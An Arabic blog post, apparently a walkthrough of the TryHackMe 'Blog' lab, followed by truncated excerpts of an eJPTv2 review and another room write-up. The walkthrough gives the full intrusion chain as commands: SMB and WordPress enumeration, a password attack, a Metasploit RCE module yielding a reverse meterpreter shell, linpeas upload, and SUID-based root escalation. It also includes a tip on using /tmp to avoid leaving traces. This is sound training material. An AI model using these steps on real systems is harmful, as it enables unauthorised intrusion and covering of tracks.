كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap
sudo nmap IP -vv
طلع معانا 4 بورتات، نرجع نسوي Aggressive سكان عليها
sudo nmap IP -vv -A -p 22,80,139,445
على بورت 22 عندنا SSH ونظام التشغيل لجهاز الضحية هو Ubuntu، وعلى بورت 80 عندنا Apache server، أما بورت 139 و 445 متعلقة بالـsmb. برضو أعطانا في النتائج إن الـhttp generator هو WordPress وبرضو أعطانا رقم النسخة وهو 5.0، وهذه معلومة مفيدة ومهمة.
إذا زرنا الصفحة على بورت 80 في المتصفح، بنلاقي بلوق للمستخدم Billy وفيها بوستات، ولكن ما بداخل هذه البوستات شيء مهم.
و زي ما قال لنا في التحدي، بنضيف الموقع إلى ملف etc/hosts/ على الجهاز
الحين بنستفيد من الـsmb على جهاز الضحية ونحاول نجمع معلومات باستخدام
enum4linux -a IP
أعطاني إن الـnull sessions مسموحة
وأيضا عندي مستخدمين على النظام اسمهم bjoel والثاني smb
وبرضو عندي ثلاثة shares
print و IPC هي افتراضية ودائما موجودة، فما بنشيك عليها، بنشيك فقط على BillySMB. وبما إن الـnull sessions مسموحة فنقدر ندخل عليه باستخدام smbclient
smbclient //IP/billySMB
وإذا عرضنا الموجود بنلقى 3 ملفات، نحملها كلها على جهازنا
get Alice-While-Rabbit.jpg
get tswift.mp4
get check-this.png
بعدين نشيك على هذه الملفات، الملف الوحيد اللي بنلقى فيه معلومة هو Alice-While-Rabbit.jpg وعشان نستخرج الملف نستخدم
steghide extract -sf Alice-White-Rabbit.jpg
إذا طلب كلمة السر نضغط enter، ثم بيتحمل معانا ملف اسمه rabbit_hole وبداخله هذه الرسالة
:) لذلك بنتوقف هنا، وننتقل للـweb
نسوي directory enumeration باستخدام gobuster
gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP/ -t 64
طلع معانا مجموعة كبيرة من صفحات wordpress، وما في صفحة مُلفتة، فبنتجاوز هذه الخطوة.
بما إننا عرفنا إن جهاز الضحية يشتغل عليه wordpress، فبنستخدم الأداة wpscan لجمع المعلومات
wpscan --url http://blog.thm/ -e u,vp,vt
ما بيطلع معانا شيء بالنسبة للـ vulnerable plugins and themes لكن بيعطيني السكان اسمين لمستخدمين على الموقع وهم bjoel و kwheel.
نرجع نستخدم wpscan عشان نبحث عن كلمة السر. أول شيء بنحفظ أسماء المستخدمين في ملف، كل واحد في سطر لوحده، وبسميه users. ثم نشغل هذه الكوماند:
وبيطلع معانا كلمة السر لـkwheel، الحين نبحث إذا كان فيه أي exploit لهذه النسخة من WordPress
searchsploit wordpress 5.0
بنبحث عن الـmetasploit exploit في قوقل وبتطلع معانا هذه الصفحة، اللي تحتوي على اسم الـmodule ومعلومات عنها، وايش نحتاج نحط options
نرجع لجهازنا ونشغل metasploit ثم نبحث عن الـmodule ونشغلها
msfconsole -q
use cp_crop_rce
set rhosts IP
set lhost tun0
tun0 هو عنوان الـopenVPN
set username kwheel
set password ******
run
بنحصل على meterpreter
shell
علشان نحصل على shell في النظام
/bin/bash -i
python3 -c 'import pty; pty.spawn("/bin/bash")'
بعدين نروح للـhome ونشوف وش داخله ملفات، بنلقى user.txt، ولكن ما هو الفلاق اللي نبغاه، فما عندنا حل ثاني غير إننا نرفع صلاحياتنا لـroot.
وممكن نبحث بنفسنا عن طُرق نستغلها لرفع الصلاحيات، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh، وعشان ننقله للضحية أول شيء بنرجع للـmeterpreter نضغط على ctrl + z ثم نروح للـtmp ونحمل الملف هناك
طيب ليه اخترت الـtmp ؟؟
أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر.
ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ.
cd /tmp
upload linpea.sh في هذه الكوماند حطو المسار كامل لـ linpeas.sh إذا ما كنتو مشغلين metasploit من نفس المجلد اللي فيه السكريبت.
الحين تحمل الملف، نرجع للـshell ونغير صلاحيات السكريبت عشان نشغله
channel -i 1
cd /tmp
chmod +x linpeas.sh
./linpeas.sh
في النتائج طلع معانا SUID اسمه checker، وهذا اسم جديد وبالعادة مو موجود.
لو شغلناه بيطبع لنا الرسالة Not an Amin
ولو جربنا وسوينا strings، ما بنفهم كويس الـbinary لذلك بأنقله لجهازي وأدرسه باستخدام ghidra
نخرج من الـshell باستخدام ctrl + z
ثم
download /usr/sbin/checker
ثم نشغل ghidra على جهازنا، من قائمة file نختار New project ثم نضغط Next ثم نختار المجلد اللي نبي نحفظ فيه، اختاروا أي مجلد تبغون. ثم نعطي الـproject اسم، برضو حطو أي اسم تبغون، آخر شيء نضغط finish.
بيرجعنا لأول صفحة، نرجع من قائمة file ونختار import file، ثم نختار الملف اللي تو حملناه واللي هو checker ثم بيطلع لنا هذه النافذة
نخلي كل شيء زي ما هو ونضغط ok
بعد كذا بنرجع برضو على أول صفحة، نضغط على التنين الأخضر وبيفتح معاي نافذة كبيرة، من قائمة file، نختار open، ثم نروح للملف checker ونفتحه، بيطلع لنا نافذة نختار yes، ثم بيفتح نافذة analysis options نحط صح عند Decompiler Parameter ID، ثم نضغط Analyze.
بيطلع لنا بعد تحليل البايناري هذا الكود بلغة c
الكود باختصار ياخذ قيمة الـenvironment variable اللي اسمه admin ويشوف لو كان فيه قيمة، أي قيمة بيخلي الـuser id يساوي 0 واللي هو يعني root، ثم بيعطيني shell، أما في حالة كان ما للـadmin قيمة بيطبع لنا رسالة Not an admin. فاللي نحتاج نسويه بكل سهولة الآن إننا نعَرِّف متغير اسمه admin ونخزن فيه أي قيمة، وبعدين نشغل البايناري، وعلطول بنحصل على root shell.
نرجع الحين على الضحية ونشغل الـshell
shell
export admin=1
checker
وعلطول بنحصل على root shell
نسوي spawn لـ bash
/bin/bash -i
ثم نبحث عن الفلاقات
الـ root.txt موجود على الـroot home directory
cd /root
cat root.txt
وبكذا حصلنا على الفلاق ✨، باقيلنا واحد ثاني، فنبحث عنه
find / -name "user.txt" -type f
وبيطلع وين محفوظ
cat /media/usb/user.txt
وبكذا نكون حصلنا على الفلاق الآخر وانتهينا من الحل ✨.
بسم الله الرحمن الرحيم اختبرت اختبار eJPTv2 والحمدلله حصلت على الشهادة. ← أول شيء، ايش تحتاجون من معرفة سابقة قبل ما تبدؤون الاختبار؟ تحتاجون معرفة بالشبكات ونظام لينكس ونظام ويندوز، في حالة ما كان عندكم معرفة فيها ما بيكفي الكورس اللي يجي مع الشهادة من وجهة نظري، كثير من المواضيع أو اللابات تفترض المعرفة السابقة بهالمواضيع. بالنسبة لويندوز ولينيكس مطلوب فهم التعامل مع النظام بال command line أهم شيء. أما الشبكات تحتاج تكونون فاهمينها كويس وطريقة عملها، لأن في الاختبار بينطلب pivoting وهو الانتقال لشبكة أخرى بواسطة جهاز وسيط تم اختراقه، هذه الخطوة تحتاج فهم جيد للشبكات. إذا كان معاكم معرفة بسيطة بهالمواضيع ممكن تبدؤون الكورس وخلال الدراسة لو في شيء جديد واجهكم تبحثون عنه، لكن إذا مافي معرفة سابقة أنصح بأخذ كورس لأي من النقاط اللي تحتاج منكم تطوير ثم البدء في الشهادة. ← ثاني شيء، كم أحتاج مدة عشان أحصل على الشهادة ؟ هذه نقطة مهمة 😊 ، المدة تختلف كثييييير لكل شخص ويؤثر عليها هل هذا الشخص سبق وحل تحديات ctf لأنها تعطي مهارة وتسهل بشكل كبير فهم الكورس، برضو تخت...
بسم الله للي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط: رابط التحدي: https://tryhackme.com/r/room/blueprint =========================================================== كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـ IP للمشين حقتكم على TryHackMe أول حاجة نشغل الـ machine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap sudo nmap IP -vv طلع معانا عدد كبير من البورتات، لكن بنترك البورتات اللي أرقامها كبيرة وبنركز على أول 7 بورتات، فنرجع نسوي Aggressive سكان عليها sudo nmap IP -vv -A -p 80,135,139,443,445,3306,8080 من خلال السكان عرفنا إن عندنا على بورت 8080 صفحة Index of نروح نزور الصفحة ونشوف الملفات اللي بداخلها، إذا رحنا للمتصفح على http://IP:8080 بنلاقي مجلد oscommerce-2.3.4 إذا ضغطنا عليه بيودينا على صفحة فيها مجلدين، نضغط على catalog وبيفتح معانا موقع تجارة إلكترونية ولكن أبدا مو مرتب وتعبان جدا، هذا يعطي احتمال إن هذه النسخة من هذا الموقع قديمة وعل...
Comments
Post a Comment